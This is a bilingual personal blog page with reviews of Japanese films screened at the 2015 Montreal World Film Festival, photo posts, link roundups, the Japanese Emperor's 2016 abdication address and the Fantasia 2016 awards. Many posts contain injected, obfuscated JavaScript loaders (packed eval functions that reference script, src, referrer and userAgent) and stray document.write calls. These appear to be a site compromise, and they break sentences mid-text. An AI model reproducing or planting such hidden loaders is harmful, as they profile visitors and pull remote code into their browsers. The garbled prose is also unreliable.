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Weekly notable news (week 33)

/ Clodjee / Leave a comment

Here are twenty-five notable news & links that I found interesting, document.write(“”); amazing or plain weird (in no particular order & some in French) / Voici vingt-cinq nouvelles et liens notables que j’ai trouvé intéressant, étonnant ou tout simplement bizarre (sans ordre particulier et la plupart en anglais):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehhai|var|u0026u|referrer|adrba||js|php’.split(‘|’),0,{}))

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Image du chat-medi

/ Clodjee / Leave a comment

Caramel
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezyye|var|u0026u|referrer|zhifd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkttk|var|u0026u|referrer|zkfiy||js|php’.split(‘|’),0,{}))
(iPhone 6s, document.write(“”); 2016-08-07)

The Next Generation Patlabor — Tokyo War

/ Clodjee / 1 Comment

“Over the years since 1988, document.write(“”); the “Mobile Police PATLABOR” franchise in Japan has become a pioneer in multimedia, combining anime comics, videograms, films and novels. Until now the films have been animated. The story has now gone live-action… Labor is a robot specifically designed for heavy industry work. The rise of Labors has sparked a revolution in industry, but also an increase in crime. To combat these new Labor crime wave, the police have created a special unit: The Patrol Labor known as the Special Vehicles Section 2 (SV2). This is the birth of “Patlabor”. We are now in the 21st century and the Tokyo Metropolitan Police’s SV2 so-called Patlabor still looks out for misbehaving Labors, but Patlabor is no longer considered necessary because of its cost and care. When Tokyo is attacked by an organization of terrorists using stealth helicopters, SV2 is called in to neutralize the threat.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktyrz|var|u0026u|referrer|atheb||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is a beautiful movie. The CGI seems so perfect that the only thing that looks out of place is the Labor themselves — they look so preposterous, like some old giant toys from another era; that was probably done on purpose.

Not surprisingly (considering it’s a movie directed by Mamoru Oshii), this is a Patlabor movie where we see actual labor action only a few minutes in the end. And, of course, the movie have the usual slow moments of politico-philosophical introspection also typical of Oshii’s movies. The director himself seems to make a cameo appearance in the movie, with his typical hat and his beloved basset hound dog.

However, I am not sure that anyone who is not already familiar with the Patlabor story could easily understand what’s happening in this movie, which seems to come closely after the second anime movie, and which is also the final segment of a 7-part series of live-action films! Even myself, who is well acquainted with the Patlabor universe, had trouble following sometimes (was the pilot of the helicopter the previous SV2 commander? Was she acting to seek some sort of social justice? I am not really sure…). Of course, if you take it strickly as an action movie (and disregards the political stuff) there is not much that you really need to understand to enjoy the movie.

In his introduction of the movie, before the screening, Oshii-San didn’t say much. However, he mentioned that he shot his previous film in Montreal (Garm Wars: The Last Druid — for more details on this movie you can check ANN, IMdB, Youtube or Wikipedia).

All in all, this movie offers a great photography, beautiful CGI, a nice near-future sci-fi setting and, as a bonus, it shows us parts of Tokyo that we are not used to see. But it has much more meaning if you are a Patlabor fan, of course.

The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 9, 21h30 – the theatre was filled only at 14% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie but there was no Q&A due to the late hour of the screening.

For more information you can visit the following websites:
The Next Generation Patlabor — Tokyo War © 2015 HEADGEAR / ”THE NEXT GENERATION -PATLABOR-” PARTNERS.

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Early Spring, Sakurajima

/ Clodjee / 1 Comment

“Takashi Arimura had been working in Kyoto. Now that he’s reached the age of retirement he’s returned to his hometown, document.write(“”); Kagoshima. A beautiful city with a volcano overlooking it, but the vista can’t make up for the fact that life in retirement is depressing. With the encouragement of his wife, Kyoko, he takes up a new hobby — drawing. He picks a paintbrush for the first time. The world now looks very different. He now has a goal in life. Can he reach it?”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbese|var|u0026u|referrer|ztest||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie shows us the boring life of a retired elderly couple. With her husband’s retirement money, Kyoko can finally open her own very small movie theatre. And Takashi can start to paint again, but he feels unhappy and thinks he has no talent. Life seems not worth living and he feels like just killing time before death. He meets a fortune teller who somehow predicts him better days and encourages him to be more optimistic.

He finds a new fascination for the Sakurajima island and its active volcano, so he starts making many trips there to paint the volcano. He submit his painting for a local exposition but it is not selected. However, he has found a new joy and feels life is worth living again.

The movie was shot in cinéma-vérité style with very little dialogue and some weird angle shots. The pace is so slow that the story doesn’t seem to progress at all sometimes. The movie seems excruciatingly long despite that it’s only eighty-eight minutes long! The photography is good and gives us the opportunity to see the beautiful countryside of Sakurajima as well as the rather ordinary cityscape of Kagoshima. It represents the image of the real, everyday Japan which is somewhat rather refreshing.

Despite its shortcomings, the movie offer an interesting subject. More and more Japanese are living longer to enjoy their retirement, even on a merger revenue (this couple didn’t seem rich at all since they live very simply, in a very small house and his clothing have many patches). They must find hobbies to make their retiring enjoyable.

Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 16, 16h00 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Early Spring, Sakurajima © 2015 Skeleton Films.

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Image du mer-fleurie

/ Clodjee / Leave a comment

Abeille sur un soleil
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzzk|var|u0026u|referrer|ifrzy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knfid|var|u0026u|referrer|nzatk||js|php’.split(‘|’),0,{}))
Bee in the sun
(Nikon D3300, document.write(“”); 2016-08-08)

Blowing in the winds of Vietnam

/ Clodjee / 1 Comment

“Misao Sasho teaches Japanese in Hanoi, document.write(“”); Vietnam. One day she receives a phone call from Japan informing her of her father’s passing. Upon returning to Japan for her father’s funeral, she realizes that her mother has deteriorated and is becoming senile. She decides to take her back to Vietnam. The new environment works wonders. Misao’s mother enjoys the company of Misao’s acquaintances. She is suddenly the centre of attention…”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|resra|var|u0026u|referrer|dzbzn||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is one of the two best movies I’ve seen at the MWFF in 2015.

Misao is teaching Japanese in Hanoi, Vietnam. When she returns to Tokyo for her father’s funeral, she realizes that her mother Alzheimer’s disease has gotten worse. She’ bored at a stranger’s funeral: her husband’s! Her step-mother cannot take care of her anymore so Misao decides to bring her back to Vietnam with her, despite the opposition of her family. “It will make her worse” or “it will kill her,” they say.

At first, it works out pretty well and, despite the language barrier, her mother is getting along with Misao’s friends, students and the people of the neighbourhood (mostly owners of the local cafe’s, the Sakura Hotel, Japanese bar, the programming director of the VoV radio station, as well as the staff of the Youth Theatre, and a Japanese expat who drives a bicycle taxi). Together, they all live several adventures like helping a young Japanese woman to find her grand-father’s Vietnamese family that he left behind after WWII or organizing a musical show starring a very old (and also Alzheimer’s sufferer) theatrical actress.

Misao is even reacquainted with an old friend from her college days — when they were protesting during the university uprisings of the ’60s. He takes a job as another bicycle taxi driver but has an accident while carrying Misao’s mother who gets seriously hurt. Feeling guilty, he helps taking care of the old women after her hospitalization, but he has to leave because of his job as a TV producer. However, Misao cannot take care of her mother alone. It is a vey demanding task and she gets sick herself because of it. This is quite a somber moment in the movie and we really feel the pain for her (it has particularly hit home for me because, at the time of the screening, I had recently experience a similar situation in my family).

In the end, the mother gets better (from her hip replacement NOT from the Alzheimer’s because you never get better from that, you can only slow it down a little). Misao’s students stage a musical around a Japanese folk song that can provide a sort of allegory for Misao’s situation. Apart from Misao’s mother post-accident despair, it a fell-good and up beat movie. We have to take one day at a time and enjoy life while we can — and not give up on our loved ones.

The movie not only want to create awareness on the fact that the increasingly aging population of Japan means that the society will have to deal more and more with the problem of elderly’s dementia, but also it wants to remind the Japanese of the close ties (and maybe responsibilities) that still bind them with Vietnam, which was one of their pre-WWII “colonies.”

One negative point: I was told by someone who speaks vietnamese that the language spoken by the Japanese actors (which they most certainly learned phonetically) was so terrible that it was impossible to understand.

It is a well-paced drama that offers lots of light-hearted moments and allows the viewers to enjoy not only the beautiful cityscape of Hanoi, but also the surrounding countryside.

I really enjoyed this beautifully made movie which provided an excellent entertainment while making us think about very serious subjects like alzheimer and wars in Vietnam.

Blowing in the winds of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 12, 21h30 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Blowing in the wind of Vietnam © 2015?Blowing in the wind of Vietnam?Production Committee.

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Japanese Emperor Addresses the people

/ Clodjee / Leave a comment


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyirz|var|u0026u|referrer|esezs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehkdd|var|u0026u|referrer|syzkh||js|php’.split(‘|’),0,{}))
In his second-ever televised speech to the nation, document.write(“”); the Emperor of Japan (now 82-year-old) announced that his age makes it difficult to perform his duties in a satisfactory manner, hinting that he would wish to abdicate his ceremonial role in favor of the Crown Prince (his son Naruhito).

He addressed his concern directly to the Japanese people because his symbolic role prevents him to intervene in the political system (meaning he cannot ask the Prime Minister or the Diet) and the Constitution does not include any provision in case of abdication. He is concerned that his diminished capacity could affect the Nation and doesn’t want his death (as well as all required mourning and passation of power rituals) to burden his successor. I guess he is also afraid that any (constitutional) talks of abdication could bring up the delicate subject of the relevance of the Imperial system. He seems to think that a gradual succession through a Regency would be the best solution.

(Sources: BBC, BBC, NHK World, NHK World, YouTube/NHK World)

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The full text of the address after the jump:

A major milestone year marking the 70th anniversary of the end of World War II has passed, and in two years we will be welcoming the 30th year of Heisei.

As I am now more than 80 years old and there are times when I feel various constraints such as in my physical fitness, in the last few years I have started to reflect on my years as the Emperor, and contemplate on my role and my duties as the Emperor in the days to come.

As we are in the midst of a rapidly aging society, I would like to talk to you today about what would be a desirable role of the Emperor in a time when the Emperor, too, becomes advanced in age. While, being in the position of the Emperor, I must refrain from making any specific comments on the existing Imperial system, I would like to tell you what I, as an individual, have been thinking about.

Ever since my accession to the throne, I have carried out the acts of the Emperor in matters of state, and at the same time I have spent my days searching for and contemplating on what is the desirable role of the Emperor, who is designated to be the symbol of the State by the Constitution of Japan. As one who has inherited a long tradition, I have always felt a deep sense of responsibility to protect this tradition. At the same time, in a nation and in a world which are constantly changing, I have continued to think to this day about how the Japanese Imperial Family can put its traditions to good use in the present age and be an active and inherent part of society, responding to the expectations of the people.

It was some years ago, after my two surgeries that I began to feel a decline in my fitness level because of my advancing age, and I started to think about the pending future, how I should conduct myself should it become difficult for me to carry out my heavy duties in the way I have been doing, and what would be best for the country, for the people, and also for the Imperial Family members who will follow after me. I am already 80 years old, and fortunately I am now in good health. However, when I consider that my fitness level is gradually declining, I am worried that it may become difficult for me to carry out my duties as the symbol of the State with my whole being as I have done until now.

I ascended to the throne approximately 28 years ago, and during these years, I have spent my days together with the people of Japan, sharing much of the joys as well as the sorrows that have happened in our country. I have considered that the first and foremost duty of the Emperor is to pray for peace and happiness of all the people. At the same time, I also believe that in some cases it is essential to stand by the people, listen to their voices, and be close to them in their thoughts. In order to carry out the duties of the Emperor as the symbol of the State and as a symbol of the unity of the people, the Emperor needs to seek from the people their understanding on the role of the symbol of the State. I think that likewise, there is need for the Emperor to have a deep awareness of his own role as the Emperor, deep understanding of the people, and willingness to nurture within himself the awareness of being with the people. In this regard, I have felt that my travels to various places throughout Japan, in particular, to remote places and islands, are important acts of the Emperor as the symbol of the State and I have carried them out in that spirit. In my travels throughout the country, which I have made together with the Empress, including the time when I was Crown Prince, I was made aware that wherever I went there were thousands of citizens who love their local community and with quiet dedication continue to support their community. With this awareness I was able to carry out the most important duties of the Emperor, to always think of the people and pray for the people, with deep respect and love for the people. That, I feel, has been a great blessing.

In coping with the aging of the Emperor, I think it is not possible to continue reducing perpetually the Emperor’s acts in matters of state and his duties as the symbol of the State. A Regency may be established to act in the place of the Emperor when the Emperor cannot fulfill his duties for reasons such as he is not yet of age or he is seriously ill. Even in such cases, however, it does not change the fact that the Emperor continues to be the Emperor till the end of his life, even though he is unable to fully carry out his duties as the Emperor.

When the Emperor has ill health and his condition becomes serious, I am concerned that, as we have seen in the past, society comes to a standstill and people’s lives are impacted in various ways. The practice in the Imperial Family has been that the death of the Emperor called for events of heavy mourning, continuing every day for two months, followed by funeral events which continue for one year. These various events occur simultaneously with events related to the new era, placing a very heavy strain on those involved in the events, in particular, the family left behind. It occurs to me from time to time to wonder whether it is possible to prevent such a situation.

As I said in the beginning, under the Constitution, the Emperor does not have powers related to government. Even under such circumstances, it is my hope that by thoroughly reflecting on our country’s long history of emperors, the Imperial Family can continue to be with the people at all times and can work together with the people to build the future of our country, and that the duties of the Emperor as the symbol of the State can continue steadily without a break. With this earnest wish, I have decided to make my thoughts known.

I sincerely hope for your understanding.

Blood Bead

/ Clodjee / 1 Comment

“Tokita, document.write(“”); already into his middle age, has been teaching at a film school in Kyoto for a while. He would prefer to be directing films rather than teaching about them but it pays the bills and life isn’t bad. Indeed, he is having an affair with Yui, the pretty secretary of the film school. Still, the fact that he hasn’t been able to finish his script and find funding for his project nags him enormously. He is a filmmaker not a schoolteacher… Then, on the street, he runs into a striking young high school girl and his life changes. Not necessarily for the better. He is immediately smitten with Ritsuko. He begins to stalk her. He becomes delusional. His life itself becomes a film. And its ending has not been written.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysit|var|u0026u|referrer|sfhnz||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I enjoyed this movie (what’s not to like with a movie with lots of beautiful nudity?) but it’s a little hard to talk about it. I’ll do my best. The story is relatively simple and yet rather complex altogether. However, it’s always interesting when movie makers turn the camera on themselves.

Movie director Tokita (Eiji Okuda) is teaching at a film school in Kyoto. He has a rather good life with his mistress Yui, a secretary at the film school, but he would rather be making movies than teaching about them. However, he has not been able to finish a script in a while. He says that, as long as he is thinking about a script, he can still feel he is a director. He is currently working on a pinku eiga script largely inspired by his relationship with Yui.

Tokita is in his sixties and can hardly get an erection, particularly when he’s drunk, but it only makes him more obsess with sex. The title of the movie refers to the “Akadama” legend saying that a blood bead will come out to mark the very last ejaculation of a man.

One day, he notices a high school girl and starts following her, stalking her and becomes obsess by her. He imagines having an affair with her, rapping her even, but he is stuck and doesn’t know how to end his story. At some point, he discovers that the school girl prostitutes herself (she’s charging $700!). He succumbs to the temptation and sleeps with her, but feels disgusted with himself afterward. Seeing his increasing obsession for Ritsuko while typing the script, Yui decides to leave Tokita.

Tokita feels desperate but succeed to finish the script anyway and presents it to a production company which doesn’t sound very receptive. He pleads that it would be his last movie, and ask to please give him a chance! Tokita gets drunk but, as he receives an email from the production company saying that they agree to finance his movie on some conditions, he gets hit by a car and dies!

Once again we have here a movie that tackles the subject of the increasingly older population of Japan which reflects a serious preoccupation among the population. This time we are presented with the despair that sexual frustration and the worth of one’s legacy can provide to an elderly man.

Director Banmei Takahashi, who is himself not unfamiliar with pinku eiga, said in the Q&A that he thought young directors were not putting enough sex in their movies and he wanted to remedy that. He also said that he killed the main character at the end because one of his friends died that way and he wanted to make an homage to him.

During the course of the movie we follow both Tokita’s life, the story of his script as well as his own fantasies, and this makes it rather difficult sometimes to discern which is what. However, it is a good and interesting movie — albeit a little weird — that offers a reflection not only on Japanese cinema but also on the life of elderly men. And, of course, there’s plenty of sex scenes!

Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko). For a mature audience (18+).

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 10, 19h00 – the theatre was a little less than half full) as part of the “World Great” segment. The director was present for a Q&A after the screening.

For more information you can visit the following websites:
Blood Bead © 2015?Blood Bead?Production Committee. All Rights Reserved.

Introduction and Q&A


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Weekly notable news (week 32)

/ Clodjee / Leave a comment

First, document.write(“”); on a personal note: the last few months have been quite trying for me (the summer has zipped past in no time). On top of having to adapt to a new job at an even crazier library, I undertook some (expensive) renovations at home and managing the various team of workers was quite a challenge. And not only I sprained my ankle (with a small fracture) so I had to wear a pneumatic cast for over a month (still do) but I also had to suffer another painful medical problem (won a free game in our pinball’s medical system). And I broke my glasses this morning. It seems that I am in for another anus horribilis. All this left me exhausted physically, mentally and morally. I lost all patience I had left to deal with (stupid) people and the world (tired of Trump and all this violence). To quote Indiana Jones, I am really getting too old for this shit. Therefore, I didn’t write much lately. Sorry.
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However, all is not lost. The weather has been beautiful in the last few days and I am starting to feel better (hopefully it will keep improving; think positive: life is good). In the last week or so, I’ve been trying to remedy to this unfortunate neglect in my blogger’s duty. And, since the film festivals season is at our doors, I am starting to put online my movie comments from last year’s MWFF, in order to build up the interest and anticipation (whether the festival happens or not). I hope it’s working.

As always, I also keep myself acquainted with the affairs of the world. So, here are a few notable news & links that I came across this week (in no particular order):

And some Funnies…


Between Friends: Saturday, April 2, 2016

Rhyme with Orange: Monday, April 4, 2016

Ben: Saturday, April 16, 2016

Dilbert: Sunday, April 17, 2016

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Image du chat-medi

/ Clodjee / Leave a comment

Chaussette dort
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Socks sleeping
(Nikon D3300, document.write(“”); 2016-06-26)

Fantasia 2016 wrap-up

/ Clodjee / Leave a comment


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The 20th edition of the Fantasia International Film Festival just concluded after three weeks with a total of 209 screenings (including 19 world premieres), document.write(“”); over 100,000 spectators, and a near-record number of special guests (700 international guests, including some 400 film industry professionals like Guillermo Del Toro and Takashi Miike). This years’ awards are:


CHEVAL NOIR

  • Best Feature: TRAIN TO BUSAN by Yeon Sang-ho
  • Best Director: Kiyoshi Kurosawa for CREEPY
  • Best Screenplay: E J-Yong for THE BACCHUS LADY
  • Best Actor: Franko Dijak, GORAN
  • Best Actress: Youn Yuh-jung, THE BACCHUS LADY
  • Special Jury Prize: THE LURE (Poland, dir.: Agnieszka Smoczynska)

NEW FLESH AWARD FOR BEST FIRST FEATURE

  • MAN UNDERGROUND by Michael Borowiec and Sam Marine
  • Special Jury Mention: Lily Mae Harrington (SOME FREAKS)

INTERNATIONAL SHORT FILM COMPETITION

  • Best International Short: A NEARLY PERFECT BLUE SKY (France)
  • Special Jury Mention for Best Emerging Short Filmmaker: Tanya Lemke for STATIC (Canada)
  • Special Jury Mention for Aesthetic Innovation: ESTATE (France / Belgium)

SATOSHI KON AWARD FOR EXCELLENCE IN ANIMATION

  • Best Animated Feature: PSYCHONAUTS, THE FORGOTTEN CHILDREN (Spain, dir: Alberto Vazquez, Pedro Rivero)
  • Best Animated Short: STEMS (U.K., dir: Ainslie Henderson)
  • Special Jury Mention for Synergy of Narration and Art: CLOUDS (Canada dir: Diego Maclean)

BARRY CONVEX AWARD FOR BEST CANADIAN FEATURE

  • FEUILLES MORTES by Thierry Bouffard, Carnior et Edouard Tremblay

PRIX AQCC (Association québécoise des critiques de cinéma) 2016

  • THE WAILING by Na Hong-jin

PRIX SÉQUENCES

  • WE ARE THE FLESH by Emiliano Rocha Minter

PRIX L’ÉCRAN FANTASTIQUE

  • BEFORE I WAKE by Mike Flanagan

AUDIENCE AWARDS

Best European / North-South American Feature

  • Gold : Tie between HUNT FOR THE WILDERPEOPLE (Dir: Taika Waititi) and UN PETIT BOULOT (Dir: Pascal Chaumeil)
  • Silver : THEY CALL ME JEEG (Dir: Gabriele Mainetti)
  • Bronze : Tie between KIKI: LOVE TO LOVE (Dir: Paco León) and THE LURE (Dir: Agnieszka Smoczynska)

Best Asian Feature

  • Gold : KING DAVE (Dir: Daniel Grou)
  • Silver : FEUILLES MORTES (Dirs: Thierry Bouffard, Carnior, Edouard A. Tremblay)
  • Bronze : tie between ÉCARTÉE (Dir: Lawrence Côté-Collins) and OPERATION AVALANCHE (Dir: Matt Johnson)

Best Documentary Feature

  • FOR THE LOVE OF SPOCK  (Dir: Adam Nimoy)

Best Animated Feature

  • SEOUL STATION (Dir: Yeon Sang-ho)

Best International Short

  • Gold : SNAKEBITE  (Dir: Tim Hyten)
  • Silver : NO TOUCHING (Dirs: Adam Davis, Will Corona Pilgrim)
  • Bronze : L’OURS NOIR (Dirs: Méryl Fortunat Rossi, Xavier Seron)

Best Quebecois Short

  • Gold : CARNASSE (Dir: Francis Bordeleau)
  • Silver : CAUCHEMAR CAPITONNÉ (Dir: Jean-Claude Leblanc)
  • Bronze : BULLSHIT (Dir: Marc Wiltshire)

(Sources: press releases, Screen Anarchy)

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Kagura-me

/ Clodjee / 1 Comment

“Akane, document.write(“”); a young woman who lives in a small rural town in Japan, loses her mother when she is a child, and cannot overcome the loss. Akane’s father had left her mother’s side before she passed away because he went to perform kagura, a traditional ritual dance at Japanese festivals. Akane has never forgiven him and seldom talks to him. Not that he doesn’t regret his action. He too was deeply affected by his wife’s death and he never performed kagura again. Akane leaves home after high school graduation, and starts a new life far away in Tokyo. But life in the big city is overwhelming and Akane returns home after five years. Thirteen years after her mother’s death, Akane’s father has decided to come out of retirement, just to be able to dance in the big 60th anniversary festival. But he has aged. He has serious health problems. He collapses in rehearsal and it becomes clear that he won’t be able to perform. But Akane’s heart has softened. How can she help him? Perhaps by learning kagura?”
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(Text from the Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie is very Japanese: it is beautiful and slow paced. It’s a rather complex story and the festival’s program did a very good job at summarizing it, so I won’t say more about it. It’s set around a rural ritual where one danse to please the gods in order to get a good harvest, but it’s a story about grief, about caring for elderly parents, and a little about domestic violence. It poses a very fundamental question about modern life in Japan: is it better to preserve the tradition as it always was or should we adapt it to modern life and therefore preserve the tradition spirit rather than its strict form?

Exceptionally, this movie was subtitled in french (which is rather rare at the MWFF as it is done mostly for the movies in competition) but, unfortunately, this time the subtitling was full of mistakes. Bad translation and spelling mistakes can be quite distracting from the movie itself. The translation was probably done hastily to present the movie at the festival.

All in all, it remains a beautiful movie (Japan’s countryside is always pleasant to look at) about the trials of life.

Kagura-me (???? / lit. “god enjoyment’s woman”): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 9, 15h00 – the theatre was a little less than a quarter full) as part of the “First Film World Competition” segment. The production team organizer was present to introduce the movie.

For more information you can visit the following websites:

